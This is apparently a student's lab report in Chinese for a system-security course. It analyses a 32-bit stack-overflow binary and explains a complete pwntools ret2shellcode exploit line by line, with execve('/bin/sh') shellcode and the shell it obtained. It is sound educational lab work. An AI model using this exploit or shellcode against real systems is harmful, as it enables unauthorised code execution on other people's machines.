Lab3 Report

唐亚周 519021910804

1 Basic[1][2]

1. 安装python pwntool安装步骤见http://docs.pwntools.com/en/stable/install/binutils.html#ubuntu。(已安装)

2. 运行get_flag.py脚本，利用flag可执行文件中的漏洞获取一个shell。

   答：运行结果如下，成功获取了 shell。

```
student@IS308:~/Documents/ret2sc$ python get_flag.py
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
[!] Could not find executable 'flag' in $PATH, using './flag' instead
[+] Starting local process './flag': pid 2469
[*] Switching to interactive mode
$ pwd
/home/student/Documents/ret2sc
$
```

3. 利用IDA Pro分析flag程序中存在什么类型的漏洞，并解释如何利用该漏洞。

   答：IDA Pro 反汇编反编译得到源代码如下。可以看到，数组 `v4` 的大小只有 40 bytes，而在 12 行处该程序使用 `read` 函数读取了 0xC8u，也就是 200 bytes 的内容，并尝试存储到 `v4` 中，因此带来的栈溢出。

   要利用该漏洞，我们只需要在第一次 `read` 时，将调用 shell 的命令写入 `buf`，然后将该命令对应的地址在第二次 `read` 时，利用栈溢出将 `main` 函数的返回地址更改为前面记录的调用 shell 命令的地址即可。

```
1  int __cdecl main(int argc, const char **argv, const char **envp)
2  {
3    char v4[40]; // [esp+0h] [ebp-2Ch] BYREF
4    void *buf; // [esp+28h] [ebp-4h]
5
6    setvbuf(_bss_start, 0, 2, 0);
7    buf = malloc(0xC8u);
8    printf("please input your secret:");
9    read(0, buf, 0xC8u);
10   printf("your secret has been safely stored in %p", buf);
11   printf("what's your name:");
12   read(0, v4, 0xC8u);
13   return 1;
14 }
```

4. 在已经该漏洞的利用情况下，解释get_flag.py脚本中每一步的作用。

   答：Python 脚本如下。

```python
from pwn import *
#context.log_level = "debug"

r = process("flag")
r.recvuntil(":")
#attach(r)
shell_code=asm("xor edx,edx")+asm("xor ecx,ecx")+asm("mov al,0xb")+"\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
r.send(shell_code+"a"*(200-len(shell_code)))
r.recvuntil("stored in ")
addr_str = r.recvuntil("what")[:-4]
addr = int(addr_str,16)
# print hex(addr)
r.recv()
```

```
14 r.send("a"*0x30+p32(addr))
15 r.interactive()
```

(a) 第 4 行对 `flag` 这个二进制程序开启一个进程。

(b) 第 5 行从该进程中接收输出，直到接收到冒号，就开始第一个输入。

(c) 第 7 行构造 shellcode，可以看出这里是想要通过 `execve("/bin/sh",NULL,NULL)` 命令来获取 shell。

i. `xor edx,edx` 将寄存器 `edx` 的值置为 0，也就是该函数的第 3 个参数。

ii. `xor ecx,ecx` 将寄存器 `ecx` 的值置为 0，也就是该函数的第 2 个参数。

iii. `mov al,0xb` 将寄存器 `eax` 的低 8 为，即 `al` 的值置为 `0xb`，代表 `execve` 的系统调用。

iv. `\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80` 经过反汇编后如下

```
1 0:  68 2f 73 68 00          push   0x68732f
2 5:  68 2f 62 69 6e          push   0x6e69622f
3 a:  89 e3                   mov    ebx,esp
4 c:  cd 80                   int    0x80
```

第一行将字符串 `/sh` 压栈，第二行将字符串 `/bin` 压栈。

(d) 第 8 行把 shellcode 填到 200 bytes。

(e) 第 9 行继续接收输出。

(f) 第 10 行和第 11 行获取了输出的地址，也就是前面输入的 shellcode 所在地址。

(g) 第 13 行继续接收输出。

(h) 第 14 行再次构造输入，首先输入 48 个 a 来填满 `v4` 造成溢出，然后将返回地址替换为前面获得的 shellcode 地址。

5. 在这一题中，如何做到不知道具体溢出长度的情况下利用该漏洞。(选做)

答：可以采用暴力手段，不断尝试可能的溢出长度，直到成功获取 shell。

2 Challange

尝试查看程序的保护，发现 canary、NX、PIE 等保护机制都被关闭。

```
pwndbg> checksec
[*] '/mnt/Data/SJTU_Files/3-Junior-2/IS308-Computer-System-Security/SysSec-labs/LAB3/challenge/chall'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
```

使用 IDA Pro 进行反汇编和反编译，如下图所示。

```
1 __int64 start()
2 {
3   __int64 result; // rax
4
5   result = 0x3C00000003LL;
6   __asm { int     80h; LINUX - sys_read }
7   return result;
8 }
```

然后就没啥思路了 😭

3 感悟

在分析 shellcode 时，结尾的 `\x89\xe3\xcd\x80` 令我困惑许久，因为我在网上搜索发现这似乎是一个比较通用的组合，但又没有人解释原因。最后我尝试将这 4 个字节进行反汇编，才发现就是我们熟知的两条汇编指令。然后我将整个 shellcode 都进行反汇编，才发现 `\x68` 不是字符 h 而是 `push` 指令 😭

---

1. https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/ ↩

2. https://blog.csdn.net/qq_41683305/article/details/105014197 ↩